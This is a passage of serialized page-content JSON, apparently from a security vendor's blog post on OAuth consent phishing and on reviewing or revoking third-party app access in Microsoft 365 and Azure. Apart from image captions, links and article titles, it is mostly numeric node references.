08181,"nodeType":1317},{},[208182],{"data":208183,"marks":208184,"value":203212,"nodeType":865},{},[],{"data":208186,"content":208187,"nodeType":866},{},[208188],{"data":208189,"marks":208190,"value":203219,"nodeType":865},{},[],{"data":208192,"content":208193,"nodeType":866},{},[208194],{"data":208195,"marks":208196,"value":203226,"nodeType":865},{},[],{"data":208198,"content":208199,"nodeType":866},{},[208200,208203,208210,208213,208222],{"data":208201,"marks":208202,"value":203233,"nodeType":865},{},[],{"data":208204,"content":208205,"nodeType":889},{"uri":203236},[208206],{"data":208207,"marks":208208,"value":203242,"nodeType":865},{},[208209],{"type":943},{"data":208211,"marks":208212,"value":203246,"nodeType":865},{},[],{"data":208214,"content":208217,"nodeType":33606},{"target":208215},{"sys":208216},{"id":203251,"type":909,"linkType":910},[208218],{"data":208219,"marks":208220,"value":203257,"nodeType":865},{},[208221],{"type":943},{"data":208223,"marks":208224,"value":203261,"nodeType":865},{},[],{"data":208226,"content":208229,"nodeType":912},{"target":208227},{"sys":208228},{"id":203266,"type":909,"linkType":910},[],{"data":208231,"content":208232,"nodeType":866},{},[208233],{"data":208234,"marks":208235,"value":203274,"nodeType":865},{},[],{"data":208237,"content":208238,"nodeType":2927},{},[208239,208260,208281,208302,208323],{"data":208240,"content":208241,"nodeType":2400},{},[208242,208251],{"data":208243,"content":208244,"nodeType":2366},{},[208245],{"data":208246,"content":208247,"nodeType":866},{},[208248],{"data":208249,"marks":208250,"value":203290,"nodeType":865},{},[],{"data":208252,"content":208253,"nodeType":2366},{},[208254],{"data":208255,"content":208256,"nodeType":866},{},[208257],{"data":208258,"marks":208259,"value":203300,"nodeType":865},{},[],{"data":208261,"content":208262,"nodeType":2400},{},[208263,208272],{"data":208264,"content":208265,"nodeType":2366},{},[208266],{"data":208267,"content":208268,"nodeType":866},{},[208269],{"data":208270,"marks":208271,"value":203313,"nodeType":865},{},[],{"data":208273,"content":208274,"nodeType":2366},{},[208275],{"data":208276,"content":208277,"nodeType":866},{},[208278],{"data":208279,"marks":208280,"value":203323,"nodeType":865},{},[],{"data":208282,"content":208283,"nodeType":2400},{},[208284,208293],{"data":208285,"content":208286,"nodeType":2366},{},[208287],{"data":208288,"content":208289,"nodeType":866},{},[208290],{"data":208291,"marks":208292,"value":203336,"nodeType":865},{},[],{"data":208294,"content":208295,"nodeType":2366},{},[208296],{"data":208297,"content":208298,"nodeType":866},{},[208299],{"data":208300,"marks":208301,"value":203346,"nodeType":865},{},[],{"data":208303,"content":208304,"nodeType":2400},{},[208305,208314],{"data":208306,"content":208307,"nodeType":2366},{},[208308],{"data":208309,"content":208310,"nodeType":866},{},[208311],{"data":208312,"marks":208313,"value":203359,"nodeType":865},{},[],{"data":208315,"content":208316,"nodeType":2366},{},[208317],{"data":208318,"content":208319,"nodeType":866},{},[208320],{"data":208321,"marks":208322,"value":203369,"nodeType":865},{},[],{"data":208324,"content":208325,"nodeType":2400},{},[208326,208335],{"data":208327,"content":208328,"nodeType":2366},{},[208329],{"data":208330,"content":208331,"nodeType":866},{},[208332],{"data":208333,"marks":208334,"value":203382,"nodeType":865},{},[],{"data":208336,"content":208337,"nodeType":2366},{},[208338],{"data":208339,"content":208340,"nodeType":866},{},[208341],{"data":208342,"marks":208343,"value":203392,"nodeType":865},{},[],{"data":208345,"content":208346,"nodeType":866},{},[208347],{"data":208348,"marks":208349,"value":203399,"nodeType":865},{},[],{"data":208351,"content":208352,"nodeType":866},{},[208353],{"data":208354,"marks":208355,"value":203406,"nodeType":865},{},[],{"data":208357,"content":208358,"nodeType":2927},{},[208359,208380,208401,208422,208443,208464,208485,208506,208527,208548,208569],{"data":208360,"content":208361,"nodeType":2400},{},[208362,208371],{"data":208363,"content":208364,"nodeType":2366},{},[208365],{"data":208366,"content":208367,"nodeType":866},{},[208368],{"data":208369,"marks":208370,"value":203422,"nodeType":865},{},[],{"data":208372,"content":208373,"nodeType":2366},{},[208374],{"data":208375,"content":208376,"nodeType":866},{},[208377],{"data":208378,"marks":208379,"value":203432,"nodeType":865},{},[],{"data":208381,"content":208382,"nodeType":2400},{},[208383,208392],{"data":208384,"content":208385,"nodeType":2366},{},[208386],{"data":208387,"content":208388,"nodeType":866},{},[208389],{"data":208390,"marks":208391,"value":203445,"nodeType":865},{},[],{"data":208393,"content":208394,"nodeType":2366},{},[208395],{"data":208396,"content":208397,"nodeType":866},{},[208398],{"data":208399,"marks":208400,"value":203455,"nodeType":865},{},[],{"data":208402,"content":208403,"nodeType":2400},{},[208404,208413],{"data":208405,"content":208406,"nodeType":2366},{},[208407],{"data":208408,"content":208409,"nodeType":866},{},[208410],{"data":208411,"marks":208412,"value":203468,"nodeType":865},{},[],{"data":208414,"content":208415,"nodeType":2366},{},[208416],{"data":208417,"content":208418,"nodeType":866},{},[208419],{"data":208420,"marks":208421,"value":203478,"nodeType":865},{},[],{"data":208423,"content":208424,"nodeType":2400},{},[208425,208434],{"data":208426,"content":208427,"nodeType":2366},{},[208428],{"data":208429,"content":208430,"nodeType":866},{},[208431],{"data":208432,"marks":208433,"value":203491,"nodeType":865},{},[],{"data":208435,"content":208436,"nodeType":2366},{},[208437],{"data":208438,"content":208439,"nodeType":866},{},[208440],{"data":208441,"marks":208442,"value":203501,"nodeType":865},{},[],{"data":208444,"content":208445,"nodeType":2400},{},[208446,208455],{"data":208447,"content":208448,"nodeType":2366},{},[208449],{"data":208450,"content":208451,"nodeType":866},{},[208452],{"data":208453,"marks":208454,"value":203514,"nodeType":865},{},[],{"data":208456,"content":208457,"nodeType":2366},{},[208458],{"data":208459,"content":208460,"nodeType":866},{},[208461],{"data":208462,"marks":208463,"value":203524,"nodeType":865},{},[],{"data":208465,"content":208466,"nodeType":2400},{},[208467,208476],{"data":208468,"content":208469,"nodeType":2366},{},[208470],{"data":208471,"content":208472,"nodeType":866},{},[208473],{"data":208474,"marks":208475,"value":203537,"nodeType":865},{},[],{"data":208477,"content":208478,"nodeType":2366},{},[208479],{"data":208480,"content":208481,"nodeType":866},{},[208482],{"data":208483,"marks":208484,"value":203547,"nodeType":865},{},[],{"data":208486,"content":208487,"nodeType":2400},{},[208488,208497],{"data":208489,"content":208490,"nodeType":2366},{},[208491],{"data":208492,"content":208493,"nodeType":866},{},[208494],{"data":208495,"marks":208496,"value":203560,"nodeType":865},{},[],{"data":208498,"content":208499,"nodeType":2366},{},[208500],{"data":208501,"content":208502,"nodeType":866},{},[208503],{"data":208504,"marks":208505,"value":203570,"nodeType":865},{},[],{"data":208507,"content":208508,"nodeType":2400},{},[208509,208518],{"data":208510,"content":208511,"nodeType":2366},{},[208512],{"data":208513,"content":208514,"nodeType":866},{},[208515],{"data":208516,"marks":208517,"value":203583,"nodeType":865},{},[],{"data":208519,"content":208520,"nodeType":2366},{},[208521],{"data":208522,"content":208523,"nodeType":866},{},[208524],{"data":208525,"marks":208526,"value":203593,"nodeType":865},{},[],{"data":208528,"content":208529,"nodeType":2400},{},[208530,208539],{"data":208531,"content":208532,"nodeType":2366},{},[208533],{"data":208534,"content":208535,"nodeType":866},{},[208536],{"data":208537,"marks":208538,"value":203606,"nodeType":865},{},[],{"data":208540,"content":208541,"nodeType":2366},{},[208542],{"data":208543,"content":208544,"nodeType":866},{},[208545],{"data":208546,"marks":208547,"value":203616,"nodeType":865},{},[],{"data":208549,"content":208550,"nodeType":2400},{},[208551,208560],{"data":208552,"content":208553,"nodeType":2366},{},[208554],{"data":208555,"content":208556,"nodeType":866},{},[208557],{"data":208558,"marks":208559,"value":203629,"nodeType":865},{},[],{"data":208561,"content":208562,"nodeType":2366},{},[208563],{"data":208564,"content":208565,"nodeType":866},{},[208566],{"data":208567,"marks":208568,"value":203639,"nodeType":865},{},[],{"data":208570,"content":208571,"nodeType":2400},{},[208572,208581],{"data":208573,"content":208574,"nodeType":2366},{},[208575],{"data":208576,"content":208577,"nodeType":866},{},[208578],{"data":208579,"marks":208580,"value":203652,"nodeType":865},{},[],{"data":208582,"content":208583,"nodeType":2366},{},[208584],{"data":208585,"content":208586,"nodeType":866},{},[208587],{"data":208588,"marks":208589,"value":203662,"nodeType":865},{},[],{"data":208591,"content":208592,"nodeType":866},{},[208593],{"data":208594,"marks":208595,"value":203669,"nodeType":865},{},[],{"data":208597,"content":208598,"nodeType":981},{},[208599],{"data":208600,"marks":208601,"value":203676,"nodeType":865},{},[],{"data":208603,"content":208604,"nodeType":1317},{},[208605],{"data":208606,"marks":208607,"value":203170,"nodeType":865},{},[],{"data":208609,"content":208610,"nodeType":866},{},[208611,208614,208621,208624,208631],{"data":208612,"marks":208613,"value":203689,"nodeType":865},{},[],{"data":208615,"content":208616,"nodeType":889},{"uri":203692},[208617],{"data":208618,"marks":208619,"value":203698,"nodeType":865},{},[208620],{"type":943},{"data":208622,"marks":208623,"value":203702,"nodeType":865},{},[],{"data":208625,"content":208626,"nodeType":889},{"uri":203705},[208627],{"data":208628,"marks":208629,"value":203711,"nodeType":865},{},[208630],{"type":943},{"data":208632,"marks":208633,"value":203715,"nodeType":865},{},[],{"data":208635,"content":208636,"nodeType":866},{},[208637],{"data":208638,"marks":208639,"value":203722,"nodeType":865},{},[],{"data":208641,"content":208642,"nodeType":866},{},[208643],{"data":208644,"marks":208645,"value":203729,"nodeType":865},{},[],{"data":208647,"content":208650,"nodeType":912},{"target":208648},{"sys":208649},{"id":203734,"type":909,"linkType":910},[],{"data":208652,"content":208653,"nodeType":866},{},[208654],{"data":208655,"marks":208656,"value":203742,"nodeType":865},{},[],{"data":208658,"content":208661,"nodeType":912},{"target":208659},{"sys":208660},{"id":203747,"type":909,"linkType":910},[],{"data":208663,"content":208664,"nodeType":866},{},[208665],{"data":208666,"marks":208667,"value":203755,"nodeType":865},{},[],{"data":208669,"content":208670,"nodeType":866},{},[208671],{"data":208672,"marks":208673,"value":203762,"nodeType":865},{},[],{"data":208675,"content":208676,"nodeType":1317},{},[208677],{"data":208678,"marks":208679,"value":203212,"nodeType":865},{},[],{"data":208681,"content":208682,"nodeType":866},{},[208683],{"data":208684,"marks":208685,"value":203775,"nodeType":865},{},[],{"data":208687,"content":208688,"nodeType":981},{},[208689],{"data":208690,"marks":208691,"value":203782,"nodeType":865},{},[],{"data":208693,"content":208694,"nodeType":1317},{},[208695],{"data":208696,"marks":208697,"value":203170,"nodeType":865},{},[],{"data":208699,"content":208700,"nodeType":866},{},[208701],{"data":208702,"marks":208703,"value":203795,"nodeType":865},{},[],{"data":208705,"content":208706,"nodeType":866},{},[208707],{"data":208708,"marks":208709,"value":203802,"nodeType":865},{},[],{"data":208711,"content":208714,"nodeType":912},{"target":208712},{"sys":208713},{"id":203807,"type":909,"linkType":910},[],{"data":208716,"content":208717,"nodeType":866},{},[208718],{"data":208719,"marks":208720,"value":203815,"nodeType":865},{},[],{"data":208722,"content":208723,"nodeType":866},{},[208724,208727,208731],{"data":208725,"marks":208726,"value":203822,"nodeType":865},{},[],{"data":208728,"marks":208729,"value":203827,"nodeType":865},{},[208730],{"type":898},{"data":208732,"marks":208733,"value":203831,"nodeType":865},{},[],{"data":208735,"content":208736,"nodeType":1317},{},[208737],{"data":208738,"marks":208739,"value":203212,"nodeType":865},{},[],{"data":208741,"content":208742,"nodeType":866},{},[208743],{"data":208744,"marks":208745,"value":203844,"nodeType":865},{},[],{"data":208747,"content":208748,"nodeType":866},{},[208749,208752,208759,208762,208769],{"data":208750,"marks":208751,"value":203851,"nodeType":865},{},[],{"data":208753,"content":208754,"nodeType":889},{"uri":203854},[208755],{"data":208756,"marks":208757,"value":203860,"nodeType":865},{},[208758],{"type":943},{"data":208760,"marks":208761,"value":203864,"nodeType":865},{},[],{"data":208763,"content":208764,"nodeType":889},{"uri":203867},[208765],{"data":208766,"marks":208767,"value":203873,"nodeType":865},{},[208768],{"type":943},{"data":208770,"marks":208771,"value":203877,"nodeType":865},{},[],{"data":208773,"content":208774,"nodeType":866},{},[208775],{"data":208776,"marks":208777,"value":203884,"nodeType":865},{},[],{"data":208779,"content":208780,"nodeType":866},{},[208781,208784,208791],{"data":208782,"marks":208783,"value":203891,"nodeType":865},{},[],{"data":208785,"content":208786,"nodeType":889},{"uri":203894},[208787],{"data":208788,"marks":208789,"value":203900,"nodeType":865},{},[208790],{"type":943},{"data":208792,"marks":208793,"value":203904,"nodeType":865},{},[],{"data":208795,"content":208796,"nodeType":866},{},[208797],{"data":208798,"marks":208799,"value":203911,"nodeType":865},{},[],{"data":208801,"content":208802,"nodeType":866},{},[208803],{"data":208804,"marks":208805,"value":203918,"nodeType":865},{},[],{"data":208807,"content":208808,"nodeType":981},{},[208809],{"data":208810,"marks":208811,"value":203925,"nodeType":865},{},[],{"data":208813,"content":208814,"nodeType":1317},{},[208815],{"data":208816,"marks":208817,"value":203170,"nodeType":865},{},[],{"data":208819,"content":208820,"nodeType":866},{},[208821,208825,208833,208837,208845],{"data":208822,"marks":208823,"value":203939,"nodeType":865},{},[208824],{"type":898},{"data":208826,"content":208827,"nodeType":889},{"uri":203942},[208828],{"data":208829,"marks":208830,"value":203949,"nodeType":865},{},[208831,208832],{"type":943},{"type":898},{"data":208834,"marks":208835,"value":203954,"nodeType":865},{},[208836],{"type":898},{"data":208838,"content":208839,"nodeType":889},{"uri":203957},[208840],{"data":208841,"marks":208842,"value":203964,"nodeType":865},{},[208843,208844],{"type":943},{"type":898},{"data":208846,"marks":208847,"value":203969,"nodeType":865},{},[208848],{"type":898},{"data":208850,"content":208851,"nodeType":866},{},[208852,208855,208862],{"data":208853,"marks":208854,"value":203976,"nodeType":865},{},[],{"data":208856,"content":208857,"nodeType":889},{"uri":203979},[208858],{"data":208859,"marks":208860,"value":203985,"nodeType":865},{},[208861],{"type":943},{"data":208863,"marks":208864,"value":203989,"nodeType":865},{},[],{"data":208866,"content":208867,"nodeType":204043},{},[208868,208877,208886,208895,208904],{"data":208869,"content":208870,"nodeType":1570},{},[208871],{"data":208872,"content":208873,"nodeType":866},{},[208874],{"data":208875,"marks":208876,"value":204002,"nodeType":865},{},[],{"data":208878,"content":208879,"nodeType":1570},{},[208880],{"data":208881,"content":208882,"nodeType":866},{},[208883],{"data":208884,"marks":208885,"value":204012,"nodeType":865},{},[],{"data":208887,"content":208888,"nodeType":1570},{},[208889],{"data":208890,"content":208891,"nodeType":866},{},[208892],{"data":208893,"marks":208894,"value":204022,"nodeType":865},{},[],{"data":208896,"content":208897,"nodeType":1570},{},[208898],{"data":208899,"content":208900,"nodeType":866},{},[208901],{"data":208902,"marks":208903,"value":204032,"nodeType":865},{},[],{"data":208905,"content":208906,"nodeType":1570},{},[208907],{"data":208908,"content":208909,"nodeType":866},{},[208910],{"data":208911,"marks":208912,"value":204042,"nodeType":865},{},[],{"data":208914,"content":208915,"nodeType":866},{},[208916],{"data":208917,"marks":208918,"value":204050,"nodeType":865},{},[],{"data":208920,"content":208921,"nodeType":866},{},[208922],{"data":208923,"marks":208924,"value":204057,"nodeType":865},{},[],{"data":208926,"content":208927,"nodeType":866},{},[208928,208931,208938],{"data":208929,"marks":208930,"value":204064,"nodeType":865},{},[],{"data":208932,"content":208933,"nodeType":889},{"uri":204067},[208934],{"data":208935,"marks":208936,"value":204073,"nodeType":865},{},[208937],{"type":943},{"data":208939,"marks":208940,"value":204077,"nodeType":865},{},[],{"data":208942,"content":208943,"nodeType":866},{},[208944,208947,208954],{"data":208945,"marks":208946,"value":204084,"nodeType":865},{},[],{"data":208948,"content":208949,"nodeType":889},{"uri":203979},[208950],{"data":208951,"marks":208952,"value":204092,"nodeType":865},{},[208953],{"type":943},{"data":208955,"marks":208956,"value":204096,"nodeType":865},{},[],{"data":208958,"content":208959,"nodeType":866},{},[208960],{"data":208961,"marks":208962,"value":204103,"nodeType":865},{},[],{"data":208964,"content":208965,"nodeType":866},{},[208966,208969,208976,208979,208986],{"data":208967,"marks":208968,"value":204110,"nodeType":865},{},[],{"data":208970,"content":208971,"nodeType":889},{"uri":204113},[208972],{"data":208973,"marks":208974,"value":204119,"nodeType":865},{},[208975],{"type":943},{"data":208977,"marks":208978,"value":204123,"nodeType":865},{},[],{"data":208980,"content":208981,"nodeType":889},{"uri":204126},[208982],{"data":208983,"marks":208984,"value":204132,"nodeType":865},{},[208985],{"type":943},{"data":208987,"marks":208988,"value":204136,"nodeType":865},{},[],{"data":208990,"content":208991,"nodeType":1317},{},[208992],{"data":208993,"marks":208994,"value":203212,"nodeType":865},{},[],{"data":208996,"content":208997,"nodeType":866},{},[208998],{"data":208999,"marks":209000,"value":204149,"nodeType":865},{},[],{"data":209002,"content":209003,"nodeType":866},{},[209004],{"data":209005,"marks":209006,"value":204156,"nodeType":865},{},[],{"data":209008,"content":209009,"nodeType":866},{},[209010],{"data":209011,"marks":209012,"value":204163,"nodeType":865},{},[],{"data":209014,"content":209015,"nodeType":981},{},[209016],{"data":209017,"marks":209018,"value":204170,"nodeType":865},{},[],{"data":209020,"content":209021,"nodeType":866},{},[209022],{"data":209023,"marks":209024,"value":204177,"nodeType":865},{},[],{"data":209026,"content":209027,"nodeType":1317},{},[209028],{"data":209029,"marks":209030,"value":204184,"nodeType":865},{},[],{"data":209032,"content":209033,"nodeType":866},{},[209034,209037,209044],{"data":209035,"marks":209036,"value":204191,"nodeType":865},{},[],{"data":209038,"content":209039,"nodeType":889},{"uri":204194},[209040],{"data":209041,"marks":209042,"value":204200,"nodeType":865},{},[209043],{"type":943},{"data":209045,"marks":209046,"value":204204,"nodeType":865},{},[],{"data":209048,"content":209051,"nodeType":912},{"target":209049},{"sys":209050},{"id":204209,"type":909,"linkType":910},[],{"data":209053,"content":209054,"nodeType":866},{},[209055],{"data":209056,"marks":209057,"value":204217,"nodeType":865},{},[],{"data":209059,"content":209060,"nodeType":866},{},[209061,209064,209070],{"data":209062,"marks":209063,"value":204224,"nodeType":865},{},[],{"data":209065,"content":209066,"nodeType":889},{"uri":204227},[209067],{"data":209068,"marks":209069,"value":204232,"nodeType":865},{},[],{"data":209071,"marks":209072,"value":204236,"nodeType":865},{},[],{"data":209074,"content":209075,"nodeType":1317},{},[209076],{"data":209077,"marks":209078,"value":204243,"nodeType":865},{},[],{"data":209080,"content":209081,"nodeType":866},{},[209082],{"data":209083,"marks":209084,"value":204250,"nodeType":865},{},[],{"data":209086,"content":209089,"nodeType":912},{"target":209087},{"sys":209088},{"id":204255,"type":909,"linkType":910},[],{"data":209091,"content":209092,"nodeType":1317},{},[209093],{"data":209094,"marks":209095,"value":204263,"nodeType":865},{},[],{"data":209097,"content":209098,"nodeType":866},{},[209099],{"data":209100,"marks":209101,"value":204270,"nodeType":865},{},[],{"data":209103,"content":209106,"nodeType":912},{"target":209104},{"sys":209105},{"id":204275,"type":909,"linkType":910},[],{"data":209108,"content":209109,"nodeType":1317},{},[209110],{"data":209111,"marks":209112,"value":204283,"nodeType":865},{},[],{"data":209114,"content":209115,"nodeType":866},{},[209116,209119,209126,209129,209136,209139,209146],{"data":209117,"marks":209118,"value":204290,"nodeType":865},{},[],{"data":209120,"content":209121,"nodeType":889},{"uri":204293},[209122],{"data":209123,"marks":209124,"value":204299,"nodeType":865},{},[209125],{"type":943},{"data":209127,"marks":209128,"value":204303,"nodeType":865},{},[],{"data":209130,"content":209131,"nodeType":889},{"uri":204306},[209132],{"data":209133,"marks":209134,"value":204312,"nodeType":865},{},[209135],{"type":943},{"data":209137,"marks":209138,"value":204316,"nodeType":865},{},[],{"data":209140,"content":209141,"nodeType":889},{"uri":204319},[209142],{"data":209143,"marks":209144,"value":204325,"nodeType":865},{},[209145],{"type":943},{"data":209147,"marks":209148,"value":204329,"nodeType":865},{},[],{"data":209150,"content":209151,"nodeType":866},{},[209152],{"data":209153,"marks":209154,"value":204336,"nodeType":865},{},[],{"data":209156,"content":209159,"nodeType":912},{"target":209157},{"sys":209158},{"id":204341,"type":909,"linkType":910},[],{"data":209161,"content":209162,"nodeType":866},{},[209163],{"data":209164,"marks":209165,"value":204349,"nodeType":865},{},[],{"data":209167,"content":209170,"nodeType":912},{"target":209168},{"sys":209169},{"id":204354,"type":909,"linkType":910},[],{"data":209172,"content":209173,"nodeType":1317},{},[209174],{"data":209175,"marks":209176,"value":204362,"nodeType":865},{},[],{"data":209178,"content":209179,"nodeType":866},{},[209180],{"data":209181,"marks":209182,"value":204369,"nodeType":865},{},[],{"data":209184,"content":209185,"nodeType":866},{},[209186,209189,209196,209199,209206],{"data":209187,"marks":209188,"value":204376,"nodeType":865},{},[],{"data":209190,"content":209191,"nodeType":889},{"uri":204379},[209192],{"data":209193,"marks":209194,"value":204385,"nodeType":865},{},[209195],{"type":943},{"data":209197,"marks":209198,"value":204389,"nodeType":865},{},[],{"data":209200,"content":209201,"nodeType":889},{"uri":204392},[209202],{"data":209203,"marks":209204,"value":204398,"nodeType":865},{},[209205],{"type":943},{"data":209207,"marks":209208,"value":204402,"nodeType":865},{},[],{"data":209210,"content":209211,"nodeType":981},{},[209212],{"data":209213,"marks":209214,"value":57175,"nodeType":865},{},[],{"data":209216,"content":209217,"nodeType":866},{},[209218],{"data":209219,"marks":209220,"value":204415,"nodeType":865},{},[],{"data":209222,"content":209223,"nodeType":866},{},[209224],{"data":209225,"marks":209226,"value":204422,"nodeType":865},{},[],{"data":209228,"content":209229,"nodeType":866},{},[209230],{"data":209231,"marks":209232,"value":204429,"nodeType":865},{},[],{"data":209234,"content":209235,"nodeType":866},{},[209236],{"data":209237,"marks":209238,"value":204436,"nodeType":865},{},[],{"data":209240,"content":209243,"nodeType":912},{"target":209241},{"sys":209242},{"id":178620,"type":909,"linkType":910},[],{"data":209245,"content":209246,"nodeType":866},{},[209247],{"data":209248,"marks":209249,"value":21,"nodeType":865},{},[],{"entries":209251},{"inline":209252,"hyperlink":209253,"block":209260},[],[209254,209256],{"sys":209255,"__typename":1429,"title":205389,"slug":205392},{"id":203182},{"sys":209257,"__typename":1429,"title":209258,"slug":209259},{"id":203251},"Is it safe to allow my employees to connect third-party apps to our M365/Google Workspace tenant?","is-it-safe-to-allow-my-employees-to-connect-third-party-apps-to-our-m365",[209261,209269,209276,209284,209292,209299,209306,209314,209321,209328,209335],{"sys":209262,"__typename":1390,"title":209263,"caption":59,"layoutMode":209264,"file":209265},{"id":203204},"Consent phishing example","Left aligned",{"url":209266,"width":209267,"height":209268},"https://images.ctfassets.net/y1cdw1ablpvd/6HYzFiGjBi8ae4IDlDhtbx/238e9456dfe0aa62b5723f95a944be36/image2.png",500,765,{"sys":209270,"__typename":1390,"title":209271,"caption":209272,"layoutMode":209264,"file":209273},{"id":203266},"User consent for applications","Microsoft 365 permission-configuring page options",{"url":209274,"width":206376,"height":209275},"https://images.ctfassets.net/y1cdw1ablpvd/65HmUDGZM8VCDRIeUUdEPY/3fe867fef120cc2190f8440d11b760f7/image9.png",288,{"sys":209277,"__typename":1390,"title":209278,"caption":209279,"layoutMode":209264,"file":209280},{"id":203734},"Adobe app integration details","Push's integration panel with our Adobe app details with verified publisher information",{"url":209281,"width":209282,"height":209283},"https://images.ctfassets.net/y1cdw1ablpvd/6Rg5TnvmAqZDFFyVx5x5I1/34fa8feaeb3775b6a96d6089772540be/image7.png",651,673,{"sys":209285,"__typename":1390,"title":209286,"caption":209287,"layoutMode":209264,"file":209288},{"id":203747},"Acrobat integration details","Push's integration panel with our Adobe app details. This instance shows unverified, but is not malicious",{"url":209289,"width":209290,"height":209291},"https://images.ctfassets.net/y1cdw1ablpvd/3dKH7ObNU1nRkqvOUKuqw0/0ed37374b74952164b589f9b9b60aa29/image6.png",663,732,{"sys":209293,"__typename":1390,"title":209294,"caption":209295,"layoutMode":209264,"file":209296},{"id":203807},"Diagrams.net oauth integration panel","Example of a Microsoft integration that was granted excessive permissions (Sites.Read.All)",{"url":209297,"width":209298,"height":65489},"https://images.ctfassets.net/y1cdw1ablpvd/1dbB6L6VNOL332mmGI4szQ/13a6a7dd456303fc75a404a44407653c/image5.png",652,{"sys":209300,"__typename":1390,"title":209301,"caption":209302,"layoutMode":209264,"file":209303},{"id":204209},"Azure active directory","An application's sign-in logs detailing user activity",{"url":209304,"width":157739,"height":209305},"https://images.ctfassets.net/y1cdw1ablpvd/6fHOFS9XjBLpUQBdgjrsoc/61411340965dd7c158e8e5b94671654a/image3.png",545,{"sys":209307,"__typename":1390,"title":209308,"caption":209309,"layoutMode":209264,"file":209310},{"id":204255},"Azure enterprise app audit log page","Azure enterprise applications audit log page detailing the scopes that were delegated to a sign-in event.",{"url":209311,"width":209312,"height":209313},"https://images.ctfassets.net/y1cdw1ablpvd/75u2Mq5FiX2rVW1760QSNf/22cf898dd65e38ce7e6f585486148987/image1.png",748,229,{"sys":209315,"__typename":1390,"title":209316,"caption":209316,"layoutMode":209264,"file":209317},{"id":204275},"Disabling an Azure application integration",{"url":209318,"width":209319,"height":209320},"https://images.ctfassets.net/y1cdw1ablpvd/2qiV0t6oaYhIEHpJTh7VS5/b7b04792ad8c9c575b238ce629c5de9d/image8.png",984,300,{"sys":209322,"__typename":1390,"title":209323,"caption":209324,"layoutMode":209264,"file":209325},{"id":204341},"Azure permission review tab","Navigating to the permission review tab for an integrated application",{"url":209326,"width":203049,"height":209327},"https://images.ctfassets.net/y1cdw1ablpvd/2JtsVllKju7mumigafESsj/174a50115c736a288e2c3182a31c4e9d/image10.png",579,{"sys":209329,"__typename":1390,"title":209330,"caption":209331,"layoutMode":209264,"file":209332},{"id":204354},"Revoking access","Auto-generated PowerShell scripts to revoke access to an integrated application.",{"url":209333,"width":97529,"height":209334},"https://images.ctfassets.net/y1cdw1ablpvd/2VNTXdvWQeAmD2TTlz7iDA/2e26e2943f593315c32b82f58f20a665/image4.png",671,{"sys":209336,"__typename":1414,"type":127679,"ctaText":203081,"buttonLabel":203082,"buttonColour":148156,"buttonUrl":59},{"id":178620},{"items":209338},[],{},"Microsoft Azure attacks: Use SaaS apps to compromise an org ",{"items":209342},[209343,209504],{"__typename":1429,"sys":209344,"content":209345,"title":205389,"synopsis":205390,"hashTags":59,"publishedDate":205391,"slug":205392,"tagsCollection":209494,"authorsCollection":209500},{"id":203182},{"json":209346},{"data":209347,"content":209348,"nodeType":1382},{},[209349,209355,209361,209366,209379,209384,209390,209396,209420,209425,209440,209455,209470],{"data":209350,"content":209351,"nodeType":866},{},[209352],{"data":209353,"marks":209354,"value":205221,"nodeType":865},{},[],{"data":209356,"content":209357,"nodeType":866},{},[209358],{"data":209359,"marks":209360,"value":205228,"nodeType":865},{},[],{"data":209362,"content":209365,"nodeType":912},{"target":209363},{"sys":209364},{"id":205233,"type":909,"linkType":910},[],{"data":209367,"content":209368,"nodeType":866},{},[209369,209372,209376],{"data":209370,"marks":209371,"value":205241,"nodeType":865},{},[],{"data":209373,"marks":209374,"value":205246,"nodeType":865},{},[209375],{"type":926},{"data":209377,"marks":209378,"value":205250,"nodeType":865},{},[],{"data":209380,"content":209383,"nodeType":912},{"target":209381},{"sys":209382},{"id":205255,"type":909,"linkType":910},[],{"data":209385,"content":209386,"nodeType":866},{},[209387],{"data":209388,"marks":209389,"value":205263,"nodeType":865},{},[],{"data":209391,"content":209392,"nodeType":866},{},[209393],{"data":209394,"marks":209395,"value":205270,"nodeType":865},{},[],{"data":209397,"content":209398,"nodeType":866},{},[209399,209402,209408,209411,209417],{"data":209400,"marks":209401,"value":205277,"nodeType":865},{},[],{"data":209403,"content":209404,"nodeType":889},{"uri":205280},[209405],{"data":209406,"marks":209407,"value":205285,"nodeType":865},{},[],{"data":209409,"marks":209410,"value":4988,"nodeType":865},{},[],{"data":209412,"content":209413,"nodeType":889},{"uri":205291},[209414],{"data":209415,"marks":209416,"value":205296,"nodeType":865},{},[],{"data":209418,"marks":209419,"value":1615,"nodeType":865},{},[],{"data":209421,"content":209424,"nodeType":912},{"target":209422},{"sys":209423},{"id":205304,"type":909,"linkType":910},[],{"data":209426,"content":209427,"nodeType":866},{},[209428,209431,209437],{"data":209429,"marks":209430,"value":205312,"nodeType":865},{},[],{"data":209432,"content":209433,"nodeType":889},{"uri":205315},[209434],{"data":209435,"marks":209436,"value":205320,"nodeType":865},{},[],{"data":209438,"marks":209439,"value":205324,"nodeType":865},{},[],{"data":209441,"content":209442,"nodeType":866},{},[209443,209446,209452],{"data":209444,"marks":209445,"value":205331,"nodeType":865},{},[],{"data":209447,"content":209448,"nodeType":889},{"uri":205334},[209449],{"data":209450,"marks":209451,"value":203860,"nodeType":865},{},[],{"data":209453,"marks":209454,"value":205342,"nodeType":865},{},[],{"data":209456,"content":209457,"nodeType":866},{},[209458,209461,209467],{"data":209459,"marks":209460,"value":205349,"nodeType":865},{},[],{"data":209462,"content":209463,"nodeType":889},{"uri":205352},[209464],{"data":209465,"marks":209466,"value":205357,"nodeType":865},{},[],{"data":209468,"marks":209469,"value":205361,"nodeType":865},{},[],{"data":209471,"content":209472,"nodeType":866},{},[209473,209476,209482,209485,209491],{"data":209474,"marks":209475,"value":205368,"nodeType":865},{},[],{"data":209477,"content":209478,"nodeType":889},{"uri":127686},[209479],{"data":209480,"marks":209481,"value":205375,"nodeType":865},{},[],{"data":209483,"marks":209484,"value":2717,"nodeType":865},{},[],{"data":209486,"content":209487,"nodeType":889},{"uri":127672},[209488],{"data":209489,"marks":209490,"value":127679,"nodeType":865},{},[],{"data":209492,"marks":209493,"value":205388,"nodeType":865},{},[],{"items":209495},[209496,209498],{"sys":209497,"name":7796},{"id":7795},{"sys":209499,"name":342},{"id":4642},{"items":209501},[209502],{"fullName":205402,"firstName":4615,"jobTitle":205403,"profilePicture":209503},{"url":205405},{"__typename":1429,"sys":209505,"content":209507,"title":209971,"synopsis":209972,"hashTags":59,"publishedDate":209973,"slug":209974,"tagsCollection":209975,"authorsCollection":209981},{"id":209506},"14NiRrBrLFVkR8h05RCD7F",{"json":209508},{"data":209509,"content":209510,"nodeType":1382},{},